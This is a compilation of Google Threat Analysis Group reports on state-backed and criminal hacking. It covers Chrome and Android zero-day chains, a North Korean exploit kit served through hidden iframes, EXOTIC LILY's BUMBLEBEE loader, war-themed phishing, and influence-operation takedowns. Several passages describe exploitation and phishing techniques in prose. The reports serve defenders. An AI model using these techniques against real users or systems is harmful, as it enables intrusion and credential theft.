In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.
We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.
The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.
This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.
Analysis of the exploit identified two different vulnerabilities in Chrome:
After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.
We haven’t retrieved a copy of the exploit.
Related IOCs
In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.
The chain included two 0-day exploits:
Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.
The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.
At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.
Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.
In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.
Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.
Related IOCs
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.
We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.
TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
We remain committed to updating the community as we uncover these campaigns.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
NOTE: On May 20th, we updated our attribution to more precisely describe our findings.
Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks:
APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.
The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.
The data is then exfiltrated via email to a compromised email account.
Malware samples:
TAG would like to thank the Yahoo!
Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.
Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.
Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.
When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.
Recently observed Turla domains:
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.
The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.
The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.
Within these files is a link to an attacker controlled phishing domain.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.
This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.
If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.
There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.
Both pages from this campaign are shown below.
In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.
The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.
Recently observed Ghostwriter credential phishing domains and emails:
Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.
In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.
Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.
TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed over the past two weeks:
Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.
While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.
Recently observed IPs used in Curious Gorge campaigns:
COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.
However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.
These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.
We have not observed any Gmail accounts successfully compromised during these campaigns.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.
In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.
While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.
Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.
The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.
Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.
Recently observed Ghostwriter credential phishing domains:
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.
These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.
We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.
However, other organizations and countries may have been targeted.
One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.
The exploit was patched on February 14, 2022.
The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.
We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.
It is possible that other North Korean government-backed attackers have access to the same exploit kit.
In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.
In line with our current disclosure policy, we are providing these details 30 days after the patch release.
The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.
The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.
The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.
Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.
Attacker-Owned Fake Job Domains:
Exploitation URLs:
Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.
This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.
In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.
Attacker-Owned Websites:
Compromised Websites (Feb 7 - Feb 9):
Exploitation URLs:
The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.
The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.
The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.
This script collected all available client information such as the user-agent, resolution, etc.
and then sent it back to the exploitation server.
If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.
If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.
We unfortunately were unable to recover any of the stages that followed the initial RCE.
Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.
These safeguards included:
Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.
We did not recover any responses from those URLs.
Example Exploit Kit:
The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.
We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.
In early September 2021, Threat Analysis Group (TAG) observed a financially motivated threat actor we refer to as EXOTIC LILY, exploiting a 0day in Microsoft MSHTML (CVE-2021-40444).
Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike).
Initial access brokers are the opportunistic locksmiths of the security world, and it’s a full-time job.
These groups specialize in breaching a target in order to open the doors—or the Windows—to the malicious actor with the highest bid.
EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol.
At the peak of EXOTIC LILY’s activity, we estimate they were sending more than 5,000 emails a day, to as many as 650 targeted organizations globally.
Up until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus.
We have observed this threat actor deploying tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation.
Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, further evading detection mechanisms.
This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.
EXOTIC LILY’s attack chain has remained relatively consistent throughout the time we’ve been tracking the group:
One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization.
In the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to “.us”, “.co” or “.biz”.
Initially, the group would create entirely fake personas posing as employees of a real company.
That would sometimes consist of creating social media profiles, personal websites and generating a fake profile picture using a public service to create an AI-generated human face.
In November 2021, the group began to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.
Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service.
Attackers would sometimes engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.
At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker’s email, which presents additional detection challenges.
Further evidence suggests an operator’s responsibilities might include:
A breakdown of the actor’s communication activity shows the operators are working a fairly typical 9-to-5 job, with very little activity during the weekends.
Distribution of the actor’s working hours suggest they might be working from a Central or an Eastern Europe timezone.
Although the group came to our attention initially due to its use of documents containing an exploit for CVE-2021-40444, they later switched to the delivery of ISO files with hidden BazarLoader DLLs and LNK shortcuts.
These samples have some indicators that suggest they were custom-built to be used by the group.
For example, metadata embedded in the LNK shortcuts shows that a number of fields, such as the “Machine Identifier” and “Drive Serial Number” were shared with BazarLoader ISOs distributed via other means, however other fields such as the command line arguments were unique for samples distributed by EXOTIC LILY.
In March, the group continued delivering ISO files, but with a DLL containing a custom loader which is a more advanced variant of a first-stage payload previously seen during CVE-2021-40444 exploitation.
The loader can be recognized by its use of a unique user-agent “bumblebee” which both variants share.
The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name and domain name, which are then exfiltrated in JSON format to a C2.
In response, it expects to receive one of the several supported “tasks”, which include execution of shellcode, dropping and running executable files.
At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.
This malware can be found using this VirusTotal query.
EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.
Earlier reports of attacks exploiting CVE-2021-40444 (by Microsoft and other members of the security community) have also indicated overlaps between domains involved in the delivery chain of an exploit and infrastructure used for BazarLoader and Trickbot distribution.
We believe the shift to deliver BazarLoader, along with some other indicators such as a unique Cobalt Strike profile (described by RiskIQ) further confirms the existence of a relationship between EXOTIC LILY and actions of a Russian cyber crime group tracked as WIZARD SPIDER (CrowdStrike), FIN12 (Mandiant, FireEye) and DEV-0193 (Microsoft).
While the nature of those relationships remains unclear, EXOTIC LILY seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
In collaboration with Gmail and Safe Browsing, we are improving protections by adding additional warnings for emails originating from website contact forms, better identification of spoofing, and adjusting the reputation of email file sharing notifications.
Additionally, we’re working with Google’s CyberCrime Investigation Group to share relevant details and indicators with law enforcement.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from this threat actor’s activities.
We hope that improved understanding of the group’s tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.
Recent domains used in email campaigns:
BazarLoader ISO samples:
Recent BUMBLEBEE ISO samples:
Recent BUMBLEBEE C2:
On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.
Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.
Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.
Generally, 2020 has been dominated by COVID-19.
The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.
Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.
We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.
And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.
As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.
The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.
The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.
The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.
To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP was designed specifically for high-risk accounts.
Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.
Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.
In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.
When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.
We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.
We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).
Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.
Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.
These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.
We’ll also share additional removal actions from April and May in the Q2 Bulletin.
Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.
It was last updated on May 27, 2020.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.
We received leads from Graphika that supported us in this investigation.
We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.
The campaign was sharing messages in English supportive of Qatar.
This campaign was consistent with similar findings reported by Facebook.
We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.
The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.
This campaign was consistent with similar findings reported by Twitter.
We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
This campaign was consistent with similar findings reported by Twitter.
We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.
The domestic campaign was posting pro-Serbian political content.
This campaign was consistent with similar findings reported by Twitter.
Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.
We work across Google products to identify new vulnerabilities and threats.
Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.
One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.
Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.
Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.
The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.
We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.
We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations:
Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.
In fact, we saw a slight decrease in overall volumes in March compared to January and February.
While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.
When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.
To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help  identify various vulnerabilities.
As the world continues to respond to COVID-19, we expect to see new lures and schemes.
Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.
Google’s Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and the people who use our products.
Following our November update, today we’re sharing the latest insights to fight phishing, and for security teams, providing more details about our work identifying attacks against zero-day vulnerabilities.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.
One reason for this decline is that our new protections are working—attackers' efforts have been slowed down and they’re more deliberate in their attempts, meaning attempts are happening less frequently as attackers adapt.
We’ve detected a few emerging trends in recent months.
Upon reviewing phishing attempts since the beginning of this year, we’ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.
For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.
In other cases, attackers will send several benign emails to build a rapport with a journalist or foreign policy expert before sending a malicious attachment in a follow up email.
Government-backed attackers regularly target foreign policy experts for their research, access to the organizations they work with, and connection to fellow researchers or policymakers for subsequent attacks.
Government-backed attackers continue to consistently target geopolitical rivals, government officials, journalists, dissidents and activists.
The chart below details the Russian threat actor group SANDWORM’s targeting efforts (by sector) over the last three years.
In 2019, one in five accounts that received a warning was targeted multiple times by attackers.
If at first the attacker does not succeed, they’ll try again using a different lure, different account, or trying to compromise an associate of their target.
We’ve yet to see people successfully phished if they participate in Google’s Advanced Protection Program (APP), even if they are repeatedly targeted.
APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.
Zero-day vulnerabilities are unknown software flaws.
Until they’re identified and fixed, they can be exploited by attackers.
TAG actively hunts for these types of attacks because they are particularly dangerous and have a high rate of success, although they account for a small number of the overall total.
When we find an attack that takes advantage of  a zero-day vulnerability, we report the vulnerability to the vendor and give them seven days to patch or produce an advisory or we release an advisory ourselves.
We work across all platforms, and in 2019 TAG discovered zero-day vulnerabilities affecting Android, Chrome, iOS, Internet Explorer and Windows.
Most recently, TAG was acknowledged in January 2020 for our contribution in identifying CVE-2020-0674, a remote code execution vulnerability in Internet Explorer.
Last year, TAG discovered that a single threat actor was capitalizing on five zero-day vulnerabilities.
Finding this many zero-day exploits from the same actor in a relatively short time frame is rare.
The exploits were delivered via compromised legitimate websites (e.g.
watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.
The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.
For security teams interested in learning more, here are additional details about the exploits and our work in 2019:
The vulnerabilities underlying these exploits included:
Internet Explorer - CVE-2018-8653
Internet Explorer - CVE-2019-0676
Chrome - CVE-2019-5786
Windows Kernel - CVE-2019-0808
Internet Explorer - CVE-2019-1367
Internet Explorer - CVE-2019-1429
The following technical details are associated with the exploits and can be used for teams interested in conducting further research on these attacks:
CVE-2018-8653, CVE-2019-1367 and CVE-2020-0674 are vulnerabilities inside jscript.dll, therefore all exploits enabled IE8 rendering and used JScript.
Compact as JS engine.
In most Internet Explorer exploits, attackers abused the Enumerator object in order to gain remote code execution.
To escape from the Internet Explorer EPM sandbox, exploits used a technique consisting of replaying the same vulnerability inside svchost by abusing Web Proxy Auto-Discovery (WPad) Service.
Attackers abused this technique with CVE-2020-0674 on Firefox to escape the sandbox after exploiting CVE-2019-17026.
CVE-2019-0676 is a variant of CVE-2017-0022, CVE-2016-3298, CVE-2016-0162 and CVE-2016-3351 where the vulnerability resided inside the handling of “res://” URI scheme.
Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim’s computer; this information was later used to decide whether or not a second stage exploit should be delivered.
The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.
Our Threat Analyst Group will continue to identify bad actors and share relevant information with others in the industry.
Our goal is to bring awareness to these issues to protect you and fight bad actors to prevent future attacks.
In a future update, we’ll provide details on attackers using lures related to COVID-19 and expected behavior we’re observing (all within the normal range of attacker activity).
Google's Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and our users.
This is an area we have invested in deeply for over a decade.
Our daily work involves detecting and defeating threats, and warning targeted users and customers about the world’s most sophisticated adversaries, spanning the full range of Google products including Gmail, Drive and YouTube.
In the past, we’ve posted on issues like phishing campaigns, vulnerabilities and disinformation.
Going forward, we’ll share more technical details and data about the threats we detect and how we counter them to advance the broader digital security discussion.
TAG tracks more than 270 targeted or government-backed groups from more than 50 countries.
These groups have many goals including intelligence collection, stealing intellectual property, targeting dissidents and activists, destructive cyber attacks, or spreading coordinated disinformation.
We use the intelligence we gather to protect Google infrastructure as well as users targeted with malware or phishing.
We’ve had a long-standing policy to send users warnings if we detect that they are the subject of state-sponsored phishing attempts, and have posted periodically about these before.
From July to September 2019, we sent more than 12,000 warnings to users in 149 countries that they were targeted by government-backed attackers.
This is consistent (+/-10%) with the number of warnings sent in the same period of 2018 and 2017.
Over 90 percent of these users were targeted via “credential phishing emails” similar to the example below.
These are usually attempts to obtain the target’s password or other account credentials to hijack their account.
We encourage high-risk users—like journalists, human rights activists, and political campaigns—to enroll in our Advanced Protection Program (APP), which utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP is designed specifically for the highest-risk accounts.
In the simple phishing example below, an attacker has sent a phishing email with a security alert lure from “Goolge” suggesting the user secure their account.
The user clicks the link, enters their password, and may also get asked for a security code if they have two-factor authentication enabled, allowing the attacker to access their account.
Last week at CyberwarCon, we presented analysis about previously undisclosed campaigns from a Russia-nexus threat group called “Sandworm” (also known as “Iridium”).
It’s a useful example of the type of detailed threat detection work that TAG does.
Although much of Sandworm’s activity targeting Ukraine and their attacks against the 2018 Winter Olympics have been covered publicly, some campaigns have not been reported.
In December 2017, TAG discovered a series of campaigns from Sandworm attempting to deploy Android malware.
The first campaign targeted users in South Korea, where Sandworm was modifying legitimate Android applications with malware.
They then uploaded these modified apps to the Play Store using their own attacker-controlled developer accounts.
During this campaign, Sandworm uploaded eight different apps to the Play Store, each with fewer than 10 total installs.
We also identified an earlier September 2017 Android campaign from Sandworm where they used similar tactics and deployed a fake version of the UKR.net email app on the Play Store.
This application had approximately 1,000 total installs.
We worked with our colleagues on the Google Play Protect Team to write detections for this malware family, and eliminate it.
In November 2018, we saw evidence that Sandworm shifted from using attacker-controlled accounts to try and upload malicious apps to compromising legitimate developers.
Throughout November, Sandworm targeted software and mobile app developers in Ukraine via spear phishing emails with malicious attachments.
In at least one case, they compromised an app developer with several published Play Store apps—one with more than 200,000 installs.
After compromising the developer, Sandworm built a backdoor in one of the legitimate apps and attempted to publish it on the Play Store.
They did this by adding their implant code into the application package, signing the package with the compromised developer’s key, and then uploading it to the Play Store.
However, the Google Play Protect team caught the attempt at the time of upload.
As a result, no users were infected and we were able to re-secure the developer’s account.
TAG is one part of Google and YouTube’s broader efforts to tackle coordinated influence operations that attempt to game our services.
We share relevant threat information on these campaigns with law enforcement and other tech companies.
Here are some examples that have been reported recently that TAG worked on:
TAG recently took action against Russia-affiliated influence operations targeting several nations in Africa.
The operations use inauthentic news outlets to disseminate messages promoting Russian interests in Africa.
We have observed the use of local accounts and people to contribute to the operation, a tactic likely intended to make the content appear more genuine.
Targeted countries included the Central African Republic, Sudan, Madagascar, and South Africa, and languages used included English, French, and Arabic.
Activity on Google services was limited, but we enforced across our products swiftly.
We terminated the associated Google accounts and 15 YouTube channels, and we continue to monitor this space.
This discovery was consistent with recent observations and actions announced by Facebook.
Consistent with a recent Bellingcat report, TAG identified a campaign targeting the Indonesian provinces Papua and West Papua with messaging in opposition to the Free Papua Movement.
Google terminated one advertising account and 28 YouTube channels.
TAG works closely with other technology companies—including platforms and specialized security firms—to share intelligence and best practices.
We also share threat information with law enforcement.
And of course there are multiple teams at Google at work on these issues with whom we coordinate.
Going forward, our goal is to give more updates on the attacks that TAG detects and stops.
Our hope is that shining more light on these actors will be helpful to the security community, deter future attacks, and lead to better awareness and protections among high-risk targets.
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
We have seen it deployed against fewer than two dozen accounts located in Iran.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
